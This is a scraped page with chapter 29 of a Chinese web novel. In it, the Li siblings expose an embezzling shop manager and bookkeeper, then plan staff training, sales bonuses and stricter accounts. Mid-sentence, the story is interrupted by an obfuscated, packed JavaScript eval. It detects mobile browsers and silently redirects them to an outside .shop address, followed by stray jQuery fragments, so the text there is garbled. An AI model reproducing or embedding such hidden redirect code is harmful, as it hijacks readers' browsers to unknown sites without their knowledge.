文趣网 > 都市小说 > 寄生花 > 29. 第 29 章
    众人刚至门首,迎面撞上李尚瑾,李尚瑾见瑜、瑛二人和谢家两位哥儿在一块儿,不免好奇,问道:“你们怎的会一起出现在这里?”

    那掌柜的见李尚瑾来,且与谢家哥儿相识,脸上的笑容瞬间凝固,而风将那笑容吹到李尚瑜脸上绽放。

    李尚瑜从谢昀手中接过那包装精美的木匣,递给李尚瑾说:“李大哥来得正好!这掌柜的私卖龙涎香,人证物证俱在。”

    李尚瑾接过龙涎香,解开绸布,将木匣移至鼻尖嗅了嗅,果真是龙涎香!

    李尚瑾大怒,又将众人带至店内,因店里尚有几位客人在,李尚瑾不好发作,只把那龙涎香扔在柜台上,瞪圆了双眼,盯着掌柜的看。掌柜的自知理亏,低着头,不敢看李尚瑾。

    李尚瑜同李尚瑛对了下眼神,二人便拿了柜台前那已装好的惠价香囊,分送给在店里的几位客人,轻声解释道:“甚是抱歉,店内临时有事要处理,烦请您下次光临。”

    待客人依序离开后,李尚瑾命伙计关了店门。

    李尚瑜走到乳香前,指着乳香对李尚瑾说道:“这乳香没有明码标价,账房先生在账本上记一斤三十八贯,在店内,伙计卖我一斤五十贯,这一瞒一卖,便赚了十二贯差价。又有这龙涎香,掌柜的私攒了五两龙涎香,卖给谢家哥儿五百两银子。这掌柜真是好大的胆!”说着,李尚瑜重重拍了下桌子,以造势气。

    那掌柜的被这一声响吓得一哆嗦,还想狡辩什么,支支吾吾半天,也说不出一句话来。

    “还有这伙计!”李尚瑛走到那伙计身旁,说:“见富贵者,点头哈腰;见寒酸者,阴阳怪气。谁教你这般看人下菜碟的?”

    那伙计虽不知这二人究竟何方神圣,但见李尚瑾和谢家两位哥儿都对她们忍让有加,自然不敢多说什么,也无从辩解,只是低着头,不应声。

    “账房黄先生呢?怎的不见他人?”李尚瑾问掌柜的。

    掌柜的唯唯诺诺,道:“这黄先生……他、他、他……”

    “他怎的!”李尚瑾忽然拔高音量,又把掌柜的吓一哆嗦,忙说:“黄先生还揽了别的活,这会儿想是在西街香烛铺忙活呢。”

    李尚瑜听了此话,气得发笑,说:“他那账本记得稀烂,纯粹为了平四柱而平,结果看似平衡,过程根本经不起推敲,许多新收、开除,毫无凭据,全凭他一支笔记录。就他这功夫,一家都做不好,居然还敢揽几家活!”

    李尚瑾亦感愤愤不平,怒道:“我李家每月给他五两银子,已是比别处高出许多,他竟还不知足!私下伙同掌柜昧去多少银钱且不说,竟还私自外出揽活!我真是过于信任你们,才将你们纵容至此!”

    李尚瑾心头一股怒火正熊熊燃烧,忽而从门外传来一阵敲门声,随之响起的是那黄先生的声音,只听他说:“青天白日的关什么门?那少东家可在东州呢,你们竟也敢大白日的偷懒。”

    李尚瑾觉得又好气又好笑,向伙计使了个眼神,伙计便开了门。

    黄先生见店里情形不对,撒开腿便要跑,却被谢昀一把抓住,扔进店里。

    那伙计又顺从地关了门,站到角落里,瞧热闹。他不过一伙计,只是态度懒散些,掌柜和账房昧了钱,又落不到他头上,与他有何干系?

    账房黄先生与掌柜的面面相觑,又瞧见柜台上那盒龙涎香,情知事已败露,也只是低了头,默不作声。

    李尚瑾又重重拍了一下桌子,高声道:“平时点子不是很多吗?这会儿都哑巴了?”

    李尚瑾的声音一止,仿佛将所有声音都吸住下沉,店里一时悄然无声。

    静默片刻后,李尚瑾狠狠地点了点头,眼底闪过一丝恨意,说:“好!都不说是吧?不说,那就报官吧!”

    “别别别。”掌柜的一听要报官,双腿一软,便跪下了,央求道:“少东家,您高抬贵手吧,这几年背着您赚的钱,我悉数上缴,只求您放过我吧!”

    那账房黄先生也扑通一声跪下,央求道:“是是是,钱我都拿出来!我媳妇上个月刚给我生了一男娃,这事不能报官啊!求少东家高抬贵手,放过我们吧!”

    李尚瑾冷哼一声,说:“原来你们也知,你们这番行径是要去蹲大牢的啊?看来你们是明知故犯!无心之失尚可一饶,知法犯法者,如何能饶?”

    说罢,李尚瑾不容他二人分说,便命身边小厮前去报官。不一会儿,便有官差过来,见谢家两位哥儿在场,且这李家不仅是王知府亲戚,又与通判大人多有往来,自然办事利索,很快便将掌柜的和黄先生押走,又让小厮跟着一起去府衙内说明情况。

    官差们带走了掌柜和黄先生,也带走了喧嚣,店里一下子变得冷清起来。李尚瑾对着角落里的伙计说:“你先回去吧。”

    伙计嗫嚅半晌,说:“我这工钱还没结呢。”

    李尚瑾闭了闭眼,轻叹一声,懒得与伙计扯皮,随意丢了一块碎银给他。伙计接了碎银,美滋滋走了。

    这店里,掌柜、账房、伙计,全走了,一下子就陷入僵局,李尚瑾叹道:“这店里没人了,可如何是好?”

    李尚瑜上前说道:“大哥,拔出根来不可怕,咱再种上新的就是了,怕就怕那根盘根错节。奇货居如此,只怕其他店也好不到哪里去。但如今,拔了奇货居的根,却不能再拔其他店的根,若都拔了,咱李家只怕要撤出东州府了。只能是以奇货居杀鸡儆猴,让其他铺子的掌柜、账房收敛些。”

    谢昂原和谢昀在院中下棋,因那王家小厮前来报信,才被谢昀强拉了过来。但他一向不爱多管闲事,因此一直将自己抽离于事件之外,直到听见李尚瑜说这一番话,才忽然对李尚瑜有了兴趣,便问道:“李二姐这话倒也不全无道理,只是过些日子,等李大哥离开东州,那些掌柜、账房见没了牵制,定然又猖狂起来,那又该如何是好?”

    李尚瑜思考片刻后,说:“那就让他们彼此牵制。我们长住定安,已经决定了无法在东州久待的事实,那么我们需要解决的便是,如何在李家监管不到的时候,让他们彼此监管、彼此牵制。”

    谢昂听了李尚瑜的分析,嘴角终于浮现一抹微笑,夸赞道:“李二姐真是好心思!”

    李尚瑾却觉得此事难于上青天,哀叹道:“说得倒是容易,问题是如何做?如今这店铺又该怎么办?”

    李

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640773|206037||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    尚瑜摇了摇头,说:“大哥跟着爹爹学习这么些年了,怎的还为一点小事唉声叹气的?这店如今该歇业就歇业几日,咱李家又不是付不起租金,等我们找好了掌柜、账房和伙计,再开业,咱拖得起。还有,伙计没有待客观,狗眼看人低最是大忌。那定安是小地方,彼此相熟,邻里客气,还好些。到了这东州,往来人杂,此问题便显露出来。要解决此问题,需向国家学习,国家对新科进士有观政制度,咱对新招的伙计也该训课之,陶养性情,使之待客有礼。”

    “还需引入奖赏机制!伙计懒散,是因他每个月就赚那点银钱,做得好了并无额外奖励,自然想着偷懒。若他多劳多得,东西卖得越多他也赚得越多,那必定大大提高伙计们的积极性。因此我们需设立一条均分线,每月销售数量达到这条线即算达标,可获得每月常规银钱,若超过这条线,则再根据阶级计算不同的奖励金;若不过这条线,则算不达标,应当扣除相应银钱,以免伙计消极怠工。”李尚瑛补充道。

    “说得好!”李尚瑜附和道:“三妹妹所言极是,咱们将此事定下,找个时间将其他店铺的账房、掌柜召集来一起商讨,将这个数字定下来。再有一个,账本所用的四柱清册算法,乃为单轨计算,账房先生易从中做手脚,我们又难以校衡。若是有双轨计算法,使其计算更严密,我们核查起来更容易,那账房先生便难从中作梗。此事也无法当下决断,需我回去后再细细想之。再加上那平衡、牵制之法,都需我们回去讨论后方可定下。”

    说罢,李尚瑜看向众人,见众人无异议,便说:“那我们就先回吧。劳谢家两位哥儿陪我们耗了这许多时间。”

    “无妨。三哥是来陪美人的,他正苦于没有机会,今日有此良机,他求之不得。”说着,谢昂看向谢昀,谢昀一脸光明正大的笑,对谢昂的戳穿欣然接受。李尚瑛却因谢昂的露骨话语红了脸。

    李尚瑾一时恍然,原来这谢家哥儿是为李尚瑛而来的,那李尚瑛知道父母亲有意将她嫁给谢昀做妾一事吗?李尚瑾不敢问,只是神情凝重地看着李尚瑛。

    “如此甚好。五哥今日看了这一出戏,想必也不觉得枉来了。”李尚瑜早发现,那谢昂从一来就是一脸看戏的神情。

    “才子佳人、商贾之利,我原是无甚兴趣。但李二姐今日一番言论倒叫我大开眼界,身为一女子,能有如此手段与智慧,真叫我佩服。”说着,谢昂收了扇子,双手在胸前抱拳,以示敬意。

    李尚瑜亦回礼,道:“来这东州府一趟,也叫我大开眼界。原以为东州只会比定安更重视出身、地位、规矩,不想在东州遇到的人都如此开化,不仅允许女子化作男子出街游玩,还能欣赏女子经商献策,我在这里真真体验出了别样的自由与乐趣。”

    “还不够好罢。若哪天,女子能以女子的模样,自由地去做天下男子做的事,那才叫好呢。”谢昂说着,又张开了他的扇子,在胸前扇着。

    “说得极好!”李尚瑛忍不住为谢昂鼓掌道:“天下男子若都是你这样的想法,我们女子就自由了。”

    说罢,众人相视一笑,除了李尚瑾,都觉心满意足,便相约着一同往王家去了。